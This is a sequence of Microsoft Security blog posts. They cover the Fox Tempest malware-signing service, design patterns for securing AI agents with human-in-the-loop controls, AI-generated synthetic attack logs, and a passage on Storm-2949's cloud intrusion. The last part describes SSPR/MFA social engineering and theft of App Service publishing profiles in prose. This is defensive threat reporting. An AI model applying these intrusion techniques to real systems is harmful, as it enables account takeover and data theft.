Fox Tempest is a financially motivated threat actor that operates a malware-signing-as-a-service (MSaaS)  used by other cybercriminals to more effectively distribute malicious code, including ransomware. The threat actor abuses Microsoft Artifact Signing to generate short-lived, fraudulent code-signing certificates to appear legitimately signed, allowing malware to evade security controls.

Fox Tempest has created over a thousand certificates and established hundreds of Azure tenants and subscriptions to support its operations. Microsoft has revoked over one thousand code signing certificates attributed to Fox Tempest. In May 2026, Microsoft’s Digital Crimes Unit (DCU), with support from industry partner Resecurity, disrupted Fox Tempest’s MSaaS offering, targeting the infrastructure and access model that enables its broader criminal use.

Microsoft Threat Intelligence observed Fox Tempest’s operations enabling the deployment of Rhysida ransomware by threat actors such as Vanilla Tempest, as well as the distribution of other malware families including Oyster, Lumma Stealer, and Vidar. The consistency, scale, and downstream impact of the resulting attack activity demonstrate that Fox Tempest is a vital operator within the broader cybercrime ecosystem.

In this blog, we examine how Fox Tempest’s MSaaS operation functioned and how it enabled the delivery of trusted, signed malware across the cybercrime ecosystem. We also provide Microsoft Defender detections, indicators of compromise (IOCs), and mitigation recommendations to help organizations identify and disrupt similar activity.

Fox Tempest’s role and impact

Fox Tempest doesn’t directly target victims but instead provides supporting services that enable ransomware operations by other threat actors. Microsoft Threat Intelligence has tracked Fox Tempest since September 2025. Microsoft Threat Intelligence has linked the actor to various ransomware groups including Vanilla Tempest, Storm-0501, Storm-2561, and Storm-0249, who have all leveraged Fox Tempest-signed malware in active intrusions. Malware delivery in these attacks have included use of legitimate purchased advertisements, malvertising, and SEO poisoning.

Cryptocurrency analysis associated with Fox Tempest has identified clear links tying the actor to ransomware affiliates responsible for delivering several prominent ransomware families, including INC, Qilin, Akira, and others, with observed proceeds in the millions. Based on the scale of the MSaaS offering, Microsoft Threat Intelligence assesses that Fox Tempest is a well-resourced group handling infrastructure creation, customer relations, and financial transactions.

The downstream impact of these operations has resulted in attacks against a broad range of industry sectors, including healthcare, education, government, and financial services, impacting organizations globally including, but not limited to the United States, France, India, and China.

Fox Tempest’s malware signing as a service infrastructure

Fox Tempest’s MSaaS capability was available through the website signspace[.]cloud, a now defunct service that was disrupted by DCU, which enabled other threat actors to fraudulently obtain short-lived Microsoft-issued certificates that were valid for only 72 hours, obtained through Artifact Signing (previously named Azure Trusted Signing). This use of short-life certificates from a trusted source allowed malware and ransomware to masquerade as legitimate software (like AnyDesk, Teams, Putty, and Webex) to bypass security controls, significantly increasing the likelihood of execution and successful delivery. Fox Tempest offered this MSaaS capability to the ransomware ecosystem since at least May 2025.

To obtain legitimate signed certificates through Artifact Signing, the requestor must pass detailed identify validation processes in keeping with industry standard verifiable credentials (VC), which suggests the threat actor very likely used stolen identities based in the United States and Canada to masquerade as a legitimate entity and obtain the necessary digital credentials for signing. The SignSpace website was built on Artifact Signing and enabled secure file signing through an admin panel and user page, leveraging Azure subscriptions, certificates, and a structured database for managing users and files. A GitHub repository, called code‑signing‑service, included configuration files and technical details that directly linked it to the infrastructure behind signspace[.]cloud.

The signspace[.]cloud service has two unique modeling groupings: the admin and the customers. The admin is responsible for maintaining the tooling, account creation, and infrastructure, while the customers provide files to be fraudulently code signed. Customers who accessed the service could upload malicious files to be signed using Fox Tempest-controlled certificates.

Below are examples of the signspace[.]cloud portal as seen by Fox Tempest’s customers:

In February 2026, Microsoft Threat Intelligence observed a notable shift in Fox Tempest’s operational infrastructure. Fox Tempest transitioned to providing customers with pre-configured virtual machines (VMs) hosted on US-based virtual private server provider Cloudzy’s infrastructure, allowing threat actors to upload their malicious files directly to Fox Tempest‑controlled environments and receive signed binaries in return. This infrastructure evolution reduced friction for customers, improved operational security for Fox Tempest, and further streamlined the delivery of malicious but trusted, signed malware at scale. Microsoft’s Digital Crimes Unit (DCU) disrupted this infrastructure and continues to partner with Cloudzy to identify and disrupt related infrastructure.

Below is an example of the Fox Tempest-provided VM environment as seen by customers:

Inside the VM, Fox Tempest provided files that are used to sign code:

• The first file, metadata.json, was a configuration file that pointed to an Azure‑hosted endpoint which also included the signing account and certificate profile.
• The second file, test.js, is an example of a file provided by Fox Tempest that had been digitally signed to demonstrate their signing capabilities to customers.
• The third file, PS code sample.txt, contains the PowerShell script they used to sign customer‑submitted files using certificates under Fox Tempest control.

Threat actors using Fox Tempest’s MSaaS offering paid thousands of dollars to get their malicious code signed, as shown below with the Google Form detailing the service’s pricing model. Actors filled out the form before being added to a queue to submit payment and gain access to a VM. The form (written in both English and Russian) asks the user to choose a selected plan from a price list of $5000 USD, $7500 USD, or $9000 USD, with a mention that higher paying plans receive priority in the queue sequence.

Fox Tempest engaged directly with customers using a Telegram channel, EV Certs for Sale by SamCodeSign under the user account arbadakarba2000. All signing activity occurred using a Fox Tempest-provided email address associated with a very small number of IP addresses.

Case study: Fox Tempest enables Vanilla Tempest attacks

Vanilla Tempest began using Fox Tempest’s MSaaS service as early as June 2025. Through this service, Vanilla Tempest uploaded malicious payloads such as trojanized Microsoft Teams installers, which Fox Tempest would fraudulently signed to appear legitimate. Vanilla Tempest would then distribute these signed binaries through legitimately purchased advertisements that redirected users searching for Microsoft Teams to attacker‑controlled advertisements and fraudulent download pages.

Victims were presented with a malicious MSTeamsSetup.exe in place of the legitimate client, reflecting a broader pattern of Vanilla Tempest frequently abusing trusted software brands to lure victims and establish initial access. Execution of the counterfeit installer resulted in the deployment of the Oyster backdoor (also known as Broomstick), a modular, multistage implant that establishes persistent remote access, initiates command‑and‑control (C2) communications, collects host‑level information, and enables the delivery of additional payloads. By masquerading as a widely deployed enterprise collaboration tool hiding behind a fraudulently signed binary, Vanilla Tempest’s Oyster payload was likely able to evade casual detection and blend into normal enterprise activity. In some observed cases, Vanilla Tempest also deployed Rhysida ransomware within victim environments using the same process.

Defending against Fox Tempest-enabled attacks

To defend against Fox Tempest tactics, techniques, and procedures (TTPs) and similar activity, Microsoft recommends the following mitigation measures:

• Read the human-operated ransomware threat overview for advice on developing a holistic security posture to prevent ransomware, including credential hygiene and hardening recommendations.
• Turn on cloud-delivered protection in Microsoft Defender Antivirus or the equivalent for your antivirus product to cover rapidly evolving attacker tools and techniques. Cloud-based machine learning protections block a huge majority of new and unknown variants.
• Turn on Safe Links and Safe Attachments in Microsoft Defender for Office 365.
• Encourage users to use Microsoft Edge and other web browsers that support Microsoft Defender SmartScreen, which identifies and blocks malicious websites, including phishing sites, scam sites, and sites that host malware.
• Turn on tenant-wide tamper protection features to prevent attackers from stopping security services or using antivirus exclusions. Without tamper protection, attackers could simply turn off Microsoft Defender Antivirus without the need to acquire higher privileges.
  • Customers running Intune or Microsoft Defender for Endpoint Security Configuration can enable DisableLocalAdminMerge to prevent modification of antivirus exclusions via GPO. 
  • In addition to tamper protection, you can also enable and configure Microsoft Defender Antivirus always-on protection in Group Policy.
  • If there is an issue with a device during roll out of various antivirus features, the device can be placed in troubleshooting mode to turn off tamper protection temporarily without impacting the wider organizational security policy.
• Microsoft Defender XDR customers can turn on attack surface reduction rules to prevent several of the infection vectors of this threat. These rules, which can be configured by any user, offer significant hardening against targeted attacks. In observed attacks, Microsoft customers who had the following rules turned on could mitigate the attack in the initial stages and prevent hands-on-keyboard activity:
  • Use advanced protection against ransomware

Microsoft Defender detections

Microsoft Defender customers can refer to the list of applicable detections below. Microsoft Defender coordinates detection, prevention, investigation, and response across endpoints, identities, email, apps to provide integrated protection against attacks like the threat discussed in this blog.

Microsoft Security Copilot

Microsoft Security Copilot is embedded in Microsoft Defender and provides security teams with AI-powered capabilities to summarize incidents, analyze files and scripts, summarize identities, use guided responses, and generate device summaries, hunting queries, and incident reports.

Customers can also deploy AI agents, including the following Microsoft Security Copilot agents, to perform security tasks efficiently:

• Threat Intelligence Briefing agent
• Phishing Triage agent
• Threat Hunting agent
• Dynamic Threat Detection agent

Security Copilot is also available as a standalone experience where customers can perform specific security-related tasks, such as incident investigation, user analysis, and vulnerability impact assessment. In addition, Security Copilot offers developer scenarios that allow customers to build, test, publish, and integrate AI agents and plugins to meet unique security needs.

Threat intelligence reports

Microsoft Defender XDR customers can use the following threat analytics reports in the Defender portal (requires license for at least one Defender XDR product) to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide the intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments.

Microsoft Defender XDR threat analytics

• Actor profile: Fox Tempest
• Actor profile: Vanilla Tempest
• Threat Overview profile: Human-operated ransomware
• Activity profile: Vanilla Tempest leverages fake Microsoft Teams setup to deliver Oyster backdoor

Microsoft Security Copilot customers can also use the Microsoft Security Copilot integration in Microsoft Defender Threat Intelligence, either in the Security Copilot standalone portal or in the embedded experience in the Microsoft Defender portal to get more information about this threat actor.

Indicators of compromise

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky. To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

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Designing Secure Autonomous AI Agents with Defense in Depth

AI agents are moving beyond assistance and into action. Instead of generating content, they invoke tools, modify data, trigger workflows, and operate across systems with increasing autonomy. This shift changes the security problem fundamentally. When an agent can act autonomously, mistakes propagate faster, blast radius increases, and rollback becomes harder.

Security for agentic AI relies on defense in depth. What changes with autonomous agentic AI is where security decisions matter most. As autonomy increases, the center of gravity moves away from the model alone and toward how agents are assembled, constrained, and governed inside real applications. To build agentic AI applications that can be operated safely at scale, you need to deliberately design how agents are assembled, constrained, and governed within real applications. In return, you increase the likelihood of predictable behavior, controlled blast radius, and the confidence to deploy autonomy in production.

Defense in depth for agentic AI systems

Agentic AI systems are vulnerable to the existing security risks of software systems, and introduce new threat classes: agent hijacking, intent breaking, sensitive data leakage, supply chain compromise, and inappropriate reliance. Any weakness in permissions, data protection, or access control that exists today is amplified when an agent is added to the system.

A useful way to reason about agent security is through the following mitigation layers:

• Model layer: Influences how the agent reasons through training data, fine-tuning, and refusal behaviors.
• Safety system layer: Provides runtime protections such as content filtering, guardrails, logging, and observability.
• Application layer: Defines what the agent can do and how it does it through application architecture, permissions, workflows, and escalation paths.
• Positioning layer: Shapes how the system is presented to users through transparency documentation and UX disclosure.

Each layer reinforces the others, and no single layer is sufficient on its own. The model layer is probabilistic by nature. The safety system layer observes and intervenes at runtime. The positioning layer shapes perception. But for organizations building agentic AI applications, the application layer is the decisive one because it is the only layer builders fully control.  The application layer translates probabilistic model behavior into deterministic system outcomes. This is also where customers turn generic components into differentiated systems: two organizations can start with the same model and tools and end up with very different security outcomes depending on how they constrain agent behavior at this layer.

Why the application layer matters most when building agentic AI applications

Most organizations build agentic AI applications by combining off-the-shelf models, tools, and business data into systems that perform specific tasks. The application layer is where they decide which actions an agent is allowed to take, which tools and data it can access, how permissions are scoped and enforced, how failures are handled, and when humans must be involved.

Getting these decisions right requires thinking through several specific design patterns. Each one addresses a distinct failure mode. Together, they form the practical expression of defense in depth at the application layer.

Here are some recommended design patterns for building a more resilient application layer for your agents.

Pattern 1: Design agents like microservices

The most consequential application layer decision is action scope: how broadly you define an agent’s responsibilities. A common and dangerous failure mode is the “everything agent,” a single agent with broad permissions, many tools, and loosely defined responsibilities. Every additional tool expands the attack surface. Every ambiguous instruction increases the risk of error or task drift. As autonomy and tools increase, these risks compound quickly.

A more resilient approach is to design agents the way distributed systems have been designed for decades: as carefully scoped components with bounded capabilities. Agents should have isolated permissions, clear interfaces, and narrow responsibilities. More complex behaviors emerge from orchestration rather than from granting a single agent broad authority. Building agents like microservices, with constrained responsibilities and scoped permissions by design, is one of the most effective structural controls available at the application layer.

Pattern 2: Least permissions

Bounded scope defines what an agent is responsible for. Progressive permissioning governs what actions are permitted within that scope. As a rule, permissions should always start at zero (“zero trust”).

For safe design, no actions should be permitted by default. Actions are enabled explicitly, based on role and system needs. Least-privilege and zero-access principles apply to agents just as they do to human users.

Permissions granted loosely at design time become exploitable surfaces at runtime.

In practice, this means every tool call, data access, and external integration an agent can invoke should be the result of a deliberate authorization decision, not an implicit one. The question is not “should we restrict this?” but “have we explicitly permitted this?”

The general rule is to scope capabilities to the duration of a specific task. If task-based limits aren’t feasible, implement time-based limits. Task-focused permissions are preferred because they naturally “expire” when the task completes; temporal permissions help limit blast radius.

Pattern 3: Deterministic human-in-the-loop design

Even well-scoped, well-permissioned agents need a governance backstop for high-stakes decisions. Human-in-the-loop (HITL) review is often discussed as a trust mechanism: a way to keep humans informed. In agentic systems, it is better understood as a governance mechanism: a structural control that prevents agents from self-authorizing consequential actions.

The critical design mistake here is letting the model decide when human review is required. If escalation is left to probabilistic reasoning, an adversarial prompt or an ambiguous instruction can bypass review entirely. A model that reasons its way out of escalating is exhibiting exactly the behavior the escalation mechanism was supposed to catch.

In secure agentic systems:

• HITL review ideally is enforced deterministically by the application layer, or orchestrator, not delegated to the model.
• Escalation triggers are defined in code.
• An orchestrator enforces HITL review triggers.
• Intervention can occur mid-execution — including during tool calls — rather than only before or after an action completes.

This design removes ambiguity about when review is required, supports auditability for oversight and compliance, and ensures that as agents move toward greater autonomy, the separation between reasoning and enforcement remains intact.

Pattern 4: Agent identity as a security primitive

It is an unfortunate reality that human users are routinely over-permissioned (“give them access to everything”). To implement Pattern 1: Agents as Microservices and Pattern 2: Least permissions, agents must never have the same identity as the user. This sounds obvious, but it requires deliberate design: When an action is taken, you need to know if it was executed by the user, the agent was acting on its own behalf, or the agent acting on the user’s behalf. Each agent must be assigned a unique, verifiable identity which allows assignment of explicit and narrowly scoped permissions, lifecycle controls, and accountability.

Agent identity enables least-privilege enforcement, because you cannot scope permissions to a specific agent if you cannot distinguish that agent from other agents or a human user. It also enables lifecycle governance, because revocation actions won’t be invoked when many agents are affected. Finally, separate agent identity enables meaningful observability, because actions can be traced back to a specific agent rather than being attributed vaguely to “the system.”

 As enterprises manage agent sprawl (with more agents, more deployments, and even more integrations), identity clarity becomes operationally critical. Identity is not a feature you add later. It is a prerequisite for operating autonomous agents responsibly at scale, and it ties together every other application layer pattern: permissioning, escalation, and logging all depend on knowing which agent is acting.

How the Other Layers Reinforce Application‑Layer Design

Focusing on the application layer does not diminish the importance of the other layers. Instead, it clarifies their roles.

• The model layer – the model chosen to enable the application – shapes how an agent reasons, but remains probabilistic. It can be tuned toward safer behavior, but it cannot guarantee it.
• The safety system layer – platform tools like content filters and groundedness detection – compensates for what models alone cannot prevent: it detects anomalies, filters harmful outputs, and fulfills the observability teams’ need to respond when something goes wrong.
• The positioning layer – how the UI and UX explains that AI is in use, what it can do, and what it can’t do

Each layer addresses failure modes the others cannot fully cover. A strong safety system cannot compensate for an agent with unlimited scope. A well-tuned model cannot substitute for deterministic escalation triggers. The application layer is where the load-bearing decisions are made. The other layers make those decisions more resilient.

Designing for Secure Autonomy

The four patterns described here — agents as microservices, least permissions, deterministic human-in-the-loop design, and agent identity — are mutually reinforcing. Scope containment limits blast radius. Permissioning limits what a contained agent can do. Deterministic escalation ensures that neither scope nor permissions can be circumvented by adversarial input. Identity makes all of it auditable.

The application layer is where customers have the most power to shape how their agent behaves. It is where off‑the‑shelf models become real agentic AI applications. It is where security decisions shape both business value and risk. Defense in depth remains the right strategy. As agents take on more responsibility, the application layer becomes the place where that strategy succeeds or fails.

As organizations deploy more agentic AI systems, the question is not whether agents will make mistakes. They already have and will continue to. The question is whether those mistakes are minimized, identified, and contained. Secure autonomous agentic AI systems are achieved by designing systems where autonomy is bounded by architecture, permissions, identity, and deterministic oversight from the start.

To learn more about Microsoft Security solutions, visit our website. Bookmark the Security blog to keep up with our expert coverage on security matters. Also, follow us on LinkedIn (Microsoft Security) and X (@MSFTSecurity) for the latest news and updates on cybersecurity.

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Logs and telemetry are the foundation of modern cybersecurity. They enable threat detection, incident response, forensic investigation, and compliance across endpoints, networks, and cloud environments. Yet, despite their importance, high‑quality security attack logs are notoriously difficult to collect, especially at scale. 

Real‑world security telemetry is often composed of repeated benign activity occurring across environments and with very rare malicious activity. Gathering, labeling, and maintaining datasets with real attack logs is costly and operationally challenging. It requires not only labeling malicious activities, but also fully reconstructing attack scenarios. These challenges significantly slow detection engineering and limit the quality of both the rule-based detection authoring and anomaly-detection approaches. 

In this post, we explore a different path: using AI to generate realistic, high‑fidelity synthetic security attack logs. By translating attacker behaviors, expressed as tactics, techniques, and procedures (TTPs)—directly into structured telemetry, we aim to accelerate detection development while preserving realism and security. 

Why is this work important for Microsoft Defender customers? 

For Microsoft Defender customers, this work is crucial because it directly addresses the challenge of obtaining high-quality, realistic security attack logs needed for effective threat detection and response. By leveraging AI-driven synthetic log generation, organizations can accelerate the development of detection rules and AI-based automation approaches, while ensuring privacy and reducing operational overhead. Synthetic logs enable customers to simulate a broader range of attack scenarios—including rare and emerging threats—without exposing sensitive data or relying on costly lab-based simulations. Ultimately, this approach enhances the agility and effectiveness of Microsoft Defender detection and response capabilities, helping customers stay ahead of evolving cyber threats. 

Why Synthetic Security Logs in addition to Lab Simulations? 

Synthetic data has been widely adopted in various fields as a privacy-conscious substitute for real data, and it offers even greater advantages in cybersecurity. It enables the creation of safe, shareable datasets that avoid exposure of sensitive customer information, allows simulation of rare or emerging attacks that are challenging to observe in real environments, accelerates the process of detection engineering and testing, and supports reproducible experiments for benchmarking and evaluation. 

While synthetic logs are not a replacement for all lab-based validation, they can complement lab simulations by speeding up early-stage detection design, testing, and coverage expansion. Traditionally, generating realistic attack telemetry requires executing real attacks in controlled lab environments. While accurate, this approach is slow, labor‑intensive, and difficult to scale. It also limits agility for the security teams responsible for defending our systems and delays the rollout of new threat detections into production. This blog examines whether AI-assisted synthetic log generation can provide similar fidelity, without the operational overhead of lab‑based attack execution. 

Core Idea: From TTPs to Logs

Attackers can abuse TTP through various actions that exploit different processes. At a high level, the proposed workflow consumes “TTP + Action” as input and produces structured security logs as output. 

Input: High‑level attacker TTPs from the MITRE ATT&CK framework [1], a widely used knowledge base of adversary tactics and techniques, and concrete attacker actions. See the example below. 

Output: Realistic log entries with correctly populated fields such as “Command Line”, “Process Name”, “Parent Process Name”, and other relevant telemetry fields. 

Goal: The goal is not to reproduce logs verbatim, but to generate realistic, semantically correct logs that would accurately trigger detections, mirroring real attacker behavior. 

Approaches for Synthetic Attack Log Generation

We explore three increasingly sophisticated techniques for generating logs. 

1. Prompt‑Engineered Generation: Our baseline approach uses a series of carefully designed expert‑crafted prompts. The workflow comprises a structured, multi‑stage dialogue: 
   • Prompting: The model is given a detailed attack scenario and context. 
   • Iterative Generation: Logs are generated across multiple turns to maintain coherence. 
   • Evaluation: An independent large language model (LLM)-as-a-Judge assesses realism and consistency. 

As depicted in the following image, the prompts explicitly instruct the model to reason like a cybersecurity researcher, leverage MITRE ATT&CK knowledge, and produce coherent attack narratives. 

2. Agentic Workflow-based Generation: While the first approach works well in simpler cases, it struggles with complex, multi‑stage scenarios. To address these limitations, we introduced an agentic workflow using three specialized agents focused on different tasks: 
   • Generator Agent: Produces an initial set of logs based on the input. 
   • Evaluator Agent: Reviews logs and provides structured feedback. 
   • Improver Agent: Suggests targeted refinements based on feedback. 

As depicted in the image below, these agents collaborate in an iterative loop (generate, evaluate, improve), allowing the system to correct errors, fill gaps, and refine details over multiple turns. This collaborative process significantly improves log completeness and fidelity, especially for complex attack chains. 

3. Multi-Turn Reinforcement Learning with Verifiable Rewards: While the synthetic logs generated by the agentic workflow are often semantically correct, preserving key properties like parent‑child process relationships and event ordering, they still differ noticeably from real event logs, especially in process paths, command‑line arguments, service names and so on. This limits the usage of these logs to test detection efficacy; effective detection engineering requires reliably distinguishing benign activity from malicious behavior.  
   To address this challenge, we conduct experiments using Reinforcement Learning with Verifiable Rewards (RLVR). Instead of rigid rewards used by the evaluator agent in the previous agentic workflow approach, we use partial rewards to learn the policies as follows: 
   • We use an LLM‑as‑a‑Judge as follows to compare the synthesized data against ground‑truth logs.  
   • The model only awards partial rewards based on semantic alignment and imposes a penalty if the generated string is not an exact match of the ground-truth logs, producing a more context-aware and flexible reward signal to guide the learning process. 
   • The judge also produces reasoning, making evaluations transparent, and auditable. 

While this direction of research shows a lot of promise, it is heavily dependent on the amount of labeled training data. To address this limitation, we applied data augmentations, including: 

• Paraphrasing attack narratives while preserving technical intent 

• Perturbing parameters (e.g., replacing executable names with plausible alternatives, re-ordering flags, etc.) 

This allowed us to scale from hundreds to thousands of training examples. 

Evaluation Datasets

To ensure our approach generalizes across environments and attack types, we evaluated it on three complementary datasets: 

1. Goal‑Driven (GD) Campaigns: These are tightly scoped datasets produced by repeatable attack simulations conducted by our threat researchers. GDs are built around a specific security objective (e.g., detecting credential dumping on Windows servers). They provide clean ground truth and well‑defined attacker actions. We used a total of 10 different GD executions to evaluate our approaches. 

2. Security Datasets Project: An open‑source initiative [2] that provides malicious and benign datasets from multiple platforms, enabling broader evaluation and generalizability across different environments.  

3. ATLASv2 Dataset: The ATLASv2 dataset [3] is comprised of Windows Security Auditing logs, Sysmon logs, Firefox logs, and Domain Name System (DNS) telemetry. These logs are generated across two Windows VMs by executing 10 multi‑stage attack scenarios and introducing realistic noise and cross‑host behaviors. We limited the evaluation of synthetic attack logs to malicious activity during the attack windows. 

Note: The external datasets from the Security Datasets Project and ATLASv2 are used strictly for research and validation of our log generation methods. These datasets are not used in the development, training, or deployment of any commercial products. 

Evaluation 

Methodology: We evaluated the prompt engineering and agentic workflow approach on the three datasets across multiple reasoning and non‑reasoning models, using recall as our primary metric. Recall measures the model’s ability to generate semantically relevant log instances (true positives) expected for a given attack scenario. Our LLM‑as‑a‑Judge performs flexible matching, focusing on: 

• New process name 

• Parent process name 

• Command line semantics 

For example, a synthetic log containing “forfiles.exe” can successfully match a ground‑truth entry with the full path “D:\Windows\System32\forfiles.exe”. 

Key Results: The results in experimental evaluation demonstrate that prompt-only  approaches establish a baseline but show inconsistent performance. The agentic workflows deliver dramatic recall improvements across all datasets. Reasoning models, combined with agentic refinement, achieve the highest fidelity.  

Finally, our experiments training reinforcement learning approaches conclude that while it shows a significant promise, a substantial amount of labeled data will be required for the agent to learn effective policies to make the synthetic data identical to benign logs. 

Table 1 and Table 2 report the performance of the prompt-based and agentic workflow-based approaches, respectively. For reasoning models (o1, o3 and o3-mini), we report the recall values using a Medium reasoning effort. Overall, agentic collaboration emerges as the most effective technique for high‑quality synthetic attack logs generation. 

Across the evaluation datasets we used, AI‑driven synthetic log generation shows strong potential to produce semantically meaningful logs from TTPs and attacker actions. It can capture multi‑event sequences, preserve parent‑child process relationships, and generate realistic command lines.

This capability can accelerate detection engineering by reducing dependence on costly lab setups and enabling rapid experimentation, without sacrificing realism or safety. Our early experiments with reinforcement learning with verifiable rewards also look promising and could improve verbatim alignment when sufficient training data is available. 

References

• MITRE ATT&CK Framework: MITRE ATT&CK®  

• Security Datasets: GitHub – OTRF/Security-Datasets: Re-play Security Events 

• ATLASv2: ATLAS Attack Engagements, Version 2: 2401.01341 

This research is provided by Microsoft Defender Security Research with contributions from Raghav Batta and  members of Microsoft Threat Intelligence.

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

Review our documentation to learn more about our real-time protection capabilities and see how to enable them within your organization.   

• Learn more about securing Copilot Studio agents with Microsoft Defender  
• Evaluate your AI readiness with our latest Zero Trust for AI workshop.
• Learn more about Protect your agents in real-time during runtime (Preview)
• Explore how to build and customize agents with Copilot Studio Agent Builder 
• Microsoft 365 Copilot AI security documentation 
• How Microsoft discovers and mitigates evolving attacks against AI guardrails 

The post Accelerating detection engineering using AI-assisted synthetic attack logs generation appeared first on Microsoft Security Blog.

Microsoft Threat Intelligence recently uncovered a methodical, sophisticated, and multi-layered attack, where a threat actor we track as Storm-2949 launched a relentless campaign with a singular focus: to exfiltrate as much sensitive data from a target organization’s high-value assets as possible. The attack exfiltrated data from Microsoft 365 applications, file-hosting services, and Azure-hosted production environments, where the organization’s production application ecosystem resides.

What began as a targeted identity compromise rapidly evolved into a full-spectrum assault on the organization’s cloud infrastructure. The attack spanned various Azure resources, with emphasis on software-as-a-service (SaaS), platform-as-a-service (PaaS), and infrastructure-as-a-service (IaaS) layers.

Storm-2949 didn’t rely on traditional malware and other on-premises tactics, techniques, and procedures (TTPs). Instead, they leveraged legitimate cloud and Azure management features to gain control-plane and data-plane access, which they then used to execute code remotely on VMs, and access sensitive cloud resources such as Key Vaults and storage accounts, among others. These activities allowed them to move laterally across cloud and endpoint environments while blending into expected administrative behavior.

As organizations continue to adopt cloud infrastructure at scale, threat actors are increasingly targeting identity and control plane access rather than individual devices. When cloud identities are compromised, legitimate administrative features can be used to achieve outcomes similar to traditional lateral movement, often with fewer indicators of compromise. Behavior-based detections across endpoints, cloud environments, and identities—such as those provided by Microsoft Defender—can help teams identify and correlate these activities.

In this blog, we unpack the full attack chain from initial access to cloud and endpoint takeover. We then offer actionable insights into how organizations can detect, contain, and prevent similar identity-driven threats in their environments.

Attack chain overview

The campaign that Storm-2949 deployed can be divided into two phases: targeted identity compromise and cloud infrastructure compromise. We discuss each of these phases in detail in the succeeding sections.

Cloud compromise: Microsoft Entra ID and Microsoft 365

In this phase, the threat actor targeted specific users through social engineering to obtain their Microsoft Entra ID credentials. Using these credentials, the threat actor then proceeded to exfiltrate data from Microsoft 365 applications.

Initial access and persistence through targeted social engineering and SSPR abuse

We assess with high confidence that Storm-2949 leveraged a social engineering technique consistent with known abuses of Microsoft’s Self-Service Password Reset (SSPR) process. In such attacks, a threat actor initiates the SSPR process on behalf of a targeted user and subsequently employs social engineering tactics to persuade the user to complete multifactor authentication (MFA) prompts that appear to be legitimate.

For example, the threat actor might impersonate an internal information technology (IT) support representative and contact the user claiming that their account requires urgent verification, instructing them to approve MFA prompts as part of a routine password reset procedure.

Once the user approves these prompts, the threat actor is able to reset the user’s password and remove existing authentication methods, such as phone numbers, email addresses, and Microsoft Authenticator registrations, effectively eliminating MFA as a control and enabling unrestricted account access. Immediately after gaining access to the compromised account, the threat actor is then prompted to re-enable MFA and register a new authentication method. At this stage, the threat actor enrolls Microsoft Authenticator on their own device, granting themselves persistent access and preventing the legitimate user from signing in.

Storm-2949 used a similar process repeatedly across multiple users within the targeted organization. The selection of victims, which included IT personnel and senior leadership, indicated deliberate targeting. Based on the roles of the compromised users and the investigation findings, we assess that the threat actor likely used an organized and convincing phishing scheme to lure users into completing the fraudulent MFA prompts and thereby compromise their identities.

Directory discovery and persistence

Following the initial identity takeover, the threat actor conducted directory discovery using Microsoft Graph API. Using a custom Python script, they issued automated API requests to enumerate users and applications within the tenant. Through these queries, the threat actor searched Microsoft Entra ID for user accounts based on name patterns and role attributes, likely to identify privileged identities and additional high‑value targets.

Figure 2 illustrates the types of Graph API queries observed:

During this attack phase, the threat actor also attempted to establish persistence by adding credentials to a compromised service principal to enable continued access independent of the compromised user accounts. This attempt failed due to insufficient permissions. Undeterred, the threat actor continued enumerating service principals and known application identifiers, indicating an effort to map application‑level access paths and expand long‑term footholds within the environment.
Using the same social engineering techniques and SSPR abuse described earlier, the threat actor expanded their foothold by compromising three additional cloud user accounts.

Microsoft 365 discovery and exfiltration

Storm-2949 leveraged their access to the compromised user accounts to explore and exfiltrate files from the victim organizations’ cloud file storage services. Shortly after obtaining initial access within the organization, they targeted Microsoft 365 applications, including OneDrive and SharePoint, identifying and accessing the organization’s sensitive files, focusing on IT documents concerning virtual private network (VPN) configurations and remote access procedures. We assess that this behavior reflects an attempt to identify opportunities for lateral movement from a compromised cloud identity into the endpoint network.

The threat actor then launched a large-scale data exfiltration from these storage services. In one instance, Storm-2949 used the OneDrive web interface to download thousands of files in a single action to their own infrastructure. This pattern of data theft was repeated across all compromised user accounts, likely because different identities had access to different folders and shared directories.

Cloud compromise: Microsoft Azure

Armed with access to multiple compromised identities – which were assigned with privileged custom Azure role-based access control (RBAC) roles on several Azure subscriptions – and a growing understanding of the environment, the threat actor shifted focus toward the victim’s Azure environment. With a clear agenda centered on data exfiltration, Storm-2949 demonstrated a relentless drive to uncover and extract the most sensitive assets within the victim’s Azure environment, specifically from production-based Azure subscriptions.

Their campaign targeted not only core applications but also the broader ecosystem of interconnected resources such as Azure App Services web applications, Azure Key Vaults, Azure Storage accounts, and SQL databases. These resources collectively power the organization’s cloud-hosted services. This phase marked a transition from identity-centric abuse and SaaS data theft to targeting a range of Azure services, with an emphasis on both PaaS and IaaS workloads.

Azure App Service and Key Vault compromise

One of Storm-2949’s main targets was a production Azure App Service web application that contained sensitive data. Following several failed attempts to access this application, likely due to gateway and network restrictions, Storm-2949 shifted focus to other web apps that appeared to be part of the same ecosystem. These auxiliary apps, such as those handling authentication or internal APIs, were individually deployed Azure App Service instances with their own resource identities.

Storm-2949 successfully compromised several of these secondary web apps by taking advantage of the user’s privileged Azure RBAC permissions and invoking the Azure management-plane operation, microsoft.Web/sites/publishxml/action, which retrieves the application’s publishing profile. This profile often contains basic authentication credentials for deployment endpoints such as FTP, Web Deploy, and the Kudu management console. Kudu is a built-in administrative interface for Azure App Services that allows authenticated users to browse the file system, inspect environment variables, and execute commands within the app’s context.

Despite successfully compromising several of these auxiliary web apps, Storm-2949 was unable to gain access to the primary production application they were ultimately targeting. It is assesed, that the secondary services, while part of the same broader ecosystem, didn’t contain the level of sensitive data or privileged access the threat actor was seeking. While these footholds provided visibility into application configurations and infrastructure, they didn’t deliver the high-value assets that aligned with the threat actor’s data exfiltration objectives. As a result, the threat actor was forced to pursue alternative paths in their effort to reach the production web app.

